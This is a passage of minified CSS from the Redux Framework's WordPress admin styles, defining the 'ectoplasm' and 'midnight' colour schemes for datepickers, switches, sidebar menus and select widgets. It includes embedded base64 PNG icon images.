32abQiIyMjIyPjhlFDTLxpwIgFMnTp6A3g4IDKNY+stkwAMAoIAbasxBXqUWneSAWTMjt50lTqT29rFjvXohjsDNm2YPXDFlICmrJOZ3t6tHm8AiEAl0sCeLIIorIRt+cFbew/QRsoAXb4o1XSfoywzm0FTMAoYBNvLyFu8v8HpLBtD1iKgC17wHb7AI6d9wFbvguAIGTHd4E9wG7jgIyMjIyM+434c2R3HeV/Ffx6jtZu6ijl8h59T655jhR+rdHzDOP6beABCheb8O8/WFXeOyzgf5oAhVYnKxP7CwaAf1afJu8bSrhS6tdaXeGnrRenOqOlz9d6QwYnA/3TLd+GE7qe3chA5YF5DfY0vK3adfOX/gyNp2BW25MHdxAB9qvRiiP3/XpQQFGYDU4+Mi///XumXG8pjvaUAOsBGlf4jJt+YYEzeEzAdw06F19R3juM7D1wita86GR0CKfDHgLuXCc4Bri6vMLdfjMc4VNSUNsdodo2xu/1+Xl/K5+az8jIyMhYG/z5gJTMF1GtKq/a3rpyCvz5gJTMl9GtKq/a3rpyCmfQ4WwZmS+kXFVetb115ST48wEf/AGcfG1iw+tWbpbS2vJ3nQxcVr3lH3z5h972FUTLzYpOVk7l5hD+eYcYwDcAnewOotrZ4OtrPDucqi/LRX0/RR4qx7Nn4U8g+qjffvuN6Gf+nC85vwauHjaYyubqvWYKY4VEfSUMitdnBCT1Ue63R5439m+OgCn6DroAAaHPVQxKth/wkJgHmG8bmQMsT0D6EjDfvhVRKO3ywOQUgRA7nmL1uawZmHf1k+DPBwQ6NdcJ+k6Md1LA5f5ONdhJ8vZ5J0vLHT99srkGOjmJbd/G1r2Nriqnse1AZt1AalU5jW2HsuuG0qvKGRkZGRkZGRG0gcONyXsP9v8D0/IdJADiBNiXl3327WRGgOL/9HC/0XwlIURkRhC4tz6Z/fu7fUf2gHvfB9z3u0BGRkZGRkbGplHcnkgguQoSqtUXuhbs/wPtMwqV0HUJAvj5vk32b8IDuL23yn7qAXZ5u32hbRX7d3o82Df1FZXvbh9QOfhyxldr/+3xgXU9oKmvsHyr7F/XA269/eveBXrsv7N9QALe/tvjA0kPWAXGbvebkbHn+D/J5nMcHzx1UAAAAABJRU5ErkJggg==) !important}.admin-color-ectoplasm .ui-datepicker-header{background-color:#413256 !important;color:white !important}.admin-color-ectoplasm .ui-datepicker td .ui-state-active{background-color:#a9bd4f !important;color:white !important}.admin-color-ectoplasm .ui-datepicker td .ui-state-hover{color:#a9bd4f !important}.admin-color-ectoplasm .ui-datepicker td .ui-state-highlight{background:#a3b745 !important;border:1px solid #413256 !important;color:white !important}.admin-color-ectoplasm .redux-container-switch .cb-disable,.admin-color-ectoplasm .redux-container-switch .cb-enable,.admin-color-ectoplasm .ui-state-default,.admin-color-ectoplasm .ui-widget-content .ui-state-default,.admin-color-ectoplasm .ui-widget-header .ui-state-default{background-color:#f5f5f5 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#f8f8f8), to(#f5f5f5)) !important;background-image:-moz-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-ms-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #f8f8f8), color-stop(100%, #f5f5f5)) !important;background-image:-webkit-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-o-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-linear-gradient(top, #f8f8f8, #f5f5f5) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f8f8f8', endColorstr='#f5f5f5', GradientType=0) !important;border-color:#ccc !important}.admin-color-ectoplasm .ui-datepicker td .ui-state-active{color:black !important;font-weight:700 !important;background:white !important}.admin-color-ectoplasm .redux-container-switch .cb-disable.selected{background-color:#646464 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#929292), to(#646464)) !important;background-image:-moz-linear-gradient(top, #929292, #646464) !important;background-image:-ms-linear-gradient(top, #929292, #646464) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #929292), color-stop(100%, #646464)) !important;background-image:-webkit-linear-gradient(top, #929292, #646464) !important;background-image:-o-linear-gradient(top, #929292, #646464) !important;background-image:-linear-gradient(top, #929292, #646464) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#929292', endColorstr='#646464', GradientType=0) !important;border-color:#767676 !important}.admin-color-ectoplasm .redux-container-switch .cb-enable.selected,.admin-color-ectoplasm .redux-field-container .ui-buttonset .ui-state-active{background-color:#a3b745 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#b0c25e), to(#a3b745)) !important;background-image:-moz-linear-gradient(top, #b0c25e, #a3b745) !important;background-image:-ms-linear-gradient(top, #b0c25e, #a3b745) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #b0c25e), color-stop(100%, #a3b745)) !important;background-image:-webkit-linear-gradient(top, #b0c25e, #a3b745) !important;background-image:-o-linear-gradient(top, #b0c25e, #a3b745) !important;background-image:-linear-gradient(top, #b0c25e, #a3b745) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#b0c25e', endColorstr='#a3b745', GradientType=0) !important;border-color:#727f30 !important;border-color:#829237 !important;-webkit-box-shadow:inset 0 1px 0 #bfcd7b,0 1px 0 rgba(0,0,0,0.15) !important;box-shadow:inset 0 1px 0 #bfcd7b,0 1px 0 rgba(0,0,0,0.15) !important}.admin-color-ectoplasm #redux-header{background:#413256;border-color:#a3b745}.admin-color-ectoplasm #redux-header .display_header span{color:#cbc5d3}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.active.hasSubSections a{position:relative}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.active.hasSubSections a:after{right:0;border:solid 8px transparent;content:"\0020";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a:after{border:0 none !important;content:"\0020" !important}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.hasSubSections .redux-menu-error{display:none;margin-right:5px}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.hasSubSections a.hasError .extraIconSubsections{background-color:#b94a48;color:#f2dede}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.hasSubSections a .extraIconSubsections{border-radius:10px;-moz-border-radius:10px;-webkit-border-radius:10px;border:0 solid transparent;font-size:9px;height:9px;line-height:9px;margin-right:5px;padding:6px 7px 4px 7px;width:5px}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.active a .extraIconSubsections,.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.activeChild a .extraIconSubsections{display:none}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.active.hasSubSections .redux-menu-error,.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .redux-menu-error{display:block}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.active.hasSubSections .subsection .redux-menu-error,.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .subsection .redux-menu-error{margin-right:2px}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.active,.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.activeChild{border-left:0 none}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.active a,.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.activeChild a{color:#413256}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.active.hasSubSections .active a:after,.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .active a:after{right:0;border:solid 8px transparent;content:"\0020";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.active.hasSubSections a,.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.activeChild.hasSubSections a{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;transition:all 0.2s;color:#fff;width:auto;border-bottom:0}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li,.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li{border-top:0 none !important}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.active a:hover,.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.active a:hover{color:#fff}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a,.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a{width:auto;border-top:0 !important;padding:7px;color:#fff;padding-left:15px;-webkit-transition:all 0.2;-moz-transition:all 0.2;-ms-transition:all 0.2;-o-transition:all 0.2;transition:all 0.2}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a:hover,.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a:hover{color:#89993a;background:#291f36}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a span.group_title,.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a span.group_title{padding-left:5px !important}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a,.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a{padding-left:14px}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a span.group_title,.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a span.group_title{padding-left:30px !important}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.active.hasSubSections a{background:#a3b745}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a{background:#413256}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.activeChild.hasSubSections a{background:#cbc5d3;text-shadow:1px 1px #7d6e91}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a{background:#413256;text-shadow:none}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.active a{background:#a3b745;text-shadow:1px 1px #616d29}.admin-color-ectoplasm .redux-container-image_select .redux-image-select-selected img{border-color:#a3b745}.admin-color-ectoplasm .redux-container-image_select .redux-image-select-selected .tiles{border-color:#a3b745}.admin-color-ectoplasm #redux-footer #redux-share a{color:#a3b745}.admin-color-ectoplasm #redux-footer #redux-share a:hover{color:#616d29}.admin-color-ectoplasm .select2-results .select2-highlighted{background:#a3b745}.admin-color-ectoplasm .select2-drop-active,.admin-color-ectoplasm .select2-container-multi.select2-container-active .select2-choices,.admin-color-ectoplasm .select2-drop.select2-drop-above.select2-drop-active,.admin-color-ectoplasm .select2-container-active .select2-choice,.admin-color-ectoplasm .select2-container-active .select2-choices,.admin-color-ectoplasm .select2-dropdown-open.select2-drop-above .select2-choice,.admin-color-ectoplasm .select2-dropdown-open.select2-drop-above .select2-choices{border-color:#a3b745}.admin-color-ectoplasm .select2-dropdown-open.select2-drop-above .select2-choice,.admin-color-ectoplasm .select2-dropdown-open.select2-drop-above .select2-choices{border-top:inherit}.admin-color-ectoplasm .noUi-connect{background-color:#a9bd4f !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#b6c669), to(#a9bd4f)) !important;background-image:-moz-linear-gradient(top, #b6c669, #a9bd4f) !important;background-image:-ms-linear-gradient(top, #b6c669, #a9bd4f) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #b6c669), color-stop(100%, #a9bd4f)) !important;background-image:-webkit-linear-gradient(top, #b6c669, #a9bd4f) !important;background-image:-o-linear-gradient(top, #b6c669, #a9bd4f) !important;background-image:-linear-gradient(top, #b6c669, #a9bd4f) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#b6c669', endColorstr='#a9bd4f', GradientType=0) !important}.admin-color-midnight .button.ui-datepicker-current,.admin-color-midnight button.ui-datepicker-close{background-color:#e35950 !important}.admin-color-midnight .ui-datepicker-buttonpane button.ui-datepicker-current{background:#d92c23 !important;color:white !important;border:1px solid #811a15 !important}.admin-color-midnight .ui-datepicker-header .ui-icon{background-image:url(data:image/png;base64,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) !important}.admin-color-midnight .ui-datepicker-header{background-color:#363b3f !important;color:white !important}.admin-color-midnight .ui-datepicker td .ui-state-active{background-color:#e35950 !important;color:white !important}.admin-color-midnight .ui-datepicker td .ui-state-hover{color:#e35950 !important}.admin-color-midnight .ui-datepicker td .ui-state-highlight{background:#e14d43 !important;border:1px solid #363b3f !important;color:white !important}.admin-color-midnight .redux-container-switch .cb-disable,.admin-color-midnight .redux-container-switch .cb-enable,.admin-color-midnight .ui-state-default,.admin-color-midnight .ui-widget-content .ui-state-default,.admin-color-midnight .ui-widget-header .ui-state-default{background-color:#f5f5f5 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#f8f8f8), to(#f5f5f5)) !important;background-image:-moz-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-ms-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #f8f8f8), color-stop(100%, #f5f5f5)) !important;background-image:-webkit-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-o-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-linear-gradient(top, #f8f8f8, #f5f5f5) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f8f8f8', endColorstr='#f5f5f5', GradientType=0) !important;border-color:#ccc !important}.admin-color-midnight .ui-datepicker td .ui-state-active{color:black !important;font-weight:700 !important;background:white !important}.admin-color-midnight .redux-container-switch .cb-disable.selected{background-color:#646464 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#929292), to(#646464)) !important;background-image:-moz-linear-gradient(top, #929292, #646464) !important;background-image:-ms-linear-gradient(top, #929292, #646464) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #929292), color-stop(100%, #646464)) !important;background-image:-webkit-linear-gradient(top, #929292, #646464) !important;background-image:-o-linear-gradient(top, #929292, #646464) !important;background-image:-linear-gradient(top, #929292, #646464) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#929292', endColorstr='#646464', GradientType=0) !important;border-color:#767676 !important}.admin-color-midnight .redux-container-switch .cb-enable.selected,.admin-color-midnight .redux-field-container .ui-buttonset .ui-state-active{background-color:#e14d43 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#e66a62), to(#e14d43)) !important;background-image:-moz-linear-gradient(top, #e66a62, #e14d43) !important;background-image:-ms-linear-gradient(top, #e66a62, #e14d43) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #e66a62), color-stop(100%, #e14d43)) !important;background-image:-webkit-linear-gradient(top, #e66a62, #e14d43) !important;background-image:-o-linear-gradient(top, #e66a62, #e14d43) !important;background-image:-linear-gradient(top, #e66a62, #e14d43) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#e66a62', endColorstr='#e14d43', GradientType=0) !important;border-color:#ba281e !important;border-color:#d02c21 !important;-webkit-box-shadow:inset 0 1px 0 #ec8b85,0 1px 0 rgba(0,0,0,0.15) !important;box-shadow:inset 0 1px 0 #ec8b85,0 1px 0 rgba(0,0,0,0.15) !important}.admin-color-midnight #redux-header{background:#363b3f;border-color:#e14d43}.admin-color-midnight #redux-header .display_header span{color:#c2c4c5}.admin-color-midnight .redux-sidebar .redux-group-menu li.active.hasSubSections a{position:relative}.admin-color-midnight .redux-sidebar .redux-group-menu li.active.hasSubSections a:after{right:0;border:solid 8px transparent;content:"\0020";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-midnight .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a:after{border:0 none !important;content:"\0020" !important}.admin-color-midnight .redux-sidebar .redux-group-menu li.hasSubSections .redux-menu-error{display:none;margin-right:5px}.admin-color-midnight .redux-sidebar .redux-group-menu li.hasSubSections a.hasError .extraIconSubsections{background-color:#b94a48;color:#f2dede}.admin-color-midnight .redux-sidebar .redux-group-menu li.hasSubSections a .extraIconSubsections{border-radius:10px;-moz-border-radius:10px;-webkit-border-radius:10px;border:0 solid transparent;font-size:9px;height:9px;line-height:9px;margin-right:5px;padding:6px 7px 4px 7px;width:5px}.admin-color-midnight .redux-sidebar .redux-group-menu li.active a .extraIconSubsections,.admin-color-midnight .redux-sidebar .redux-group-menu li.activeChild a .extraIconSubsections{display:none}.admin-color-midnight .redux-sidebar .redux-group-menu li.active.hasSubSections .redux-menu-error,.admin-color-midnight .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .redux-menu-error{display:block}.admin-color-midnight .redux-sidebar .redux-group-menu li.active.hasSubSections .subsection .redux-menu-error,.admin-color-midnight .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .subsection .redux-menu-error{margin-right:2px}.admin-color-midnight .redux-sidebar .redux-group-menu li.active,.admin-color-midnight .redux-sidebar .redux-group-menu li.activeChild{border-left:0 none}.admin-color-midnight .redux-sidebar .redux-group-menu li.active a,.admin-color-midnight .redux-sidebar .redux-group-menu li.activeChild a{color:#363b3f}.admin-color-midnight .redux-sidebar .redux-group-menu li.active.hasSubSections .active a:after,.admin-color-midnight .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .active a:after{right:0;border:solid 8px transparent;content:"\0020";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-midnight .redux-sidebar .redux-group-menu li.active.hasSubSections a,.admin-color-midnight .redux-sidebar .redux-group-menu li.activeChild.hasSubSections a{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;transition:all 0.2s;color:#fff;width:auto;border-bottom:0}.admin-color-midnight .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li,.admin-color-midnight .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li{border-top:0 none !important}.admin-color-midnight .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.active a:hover,.admin-color-midnight .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.active a:hover{color:#fff}.admin-color-midnight .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a,.admin-color-midnight .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a{width:auto;border-top:0 !important;padding:7px;color:#fff;padding-left:15px;-webkit-transition:all 0.2;-moz-transition:all 0.2;-ms-transition:all 0.2;-o-transition:all 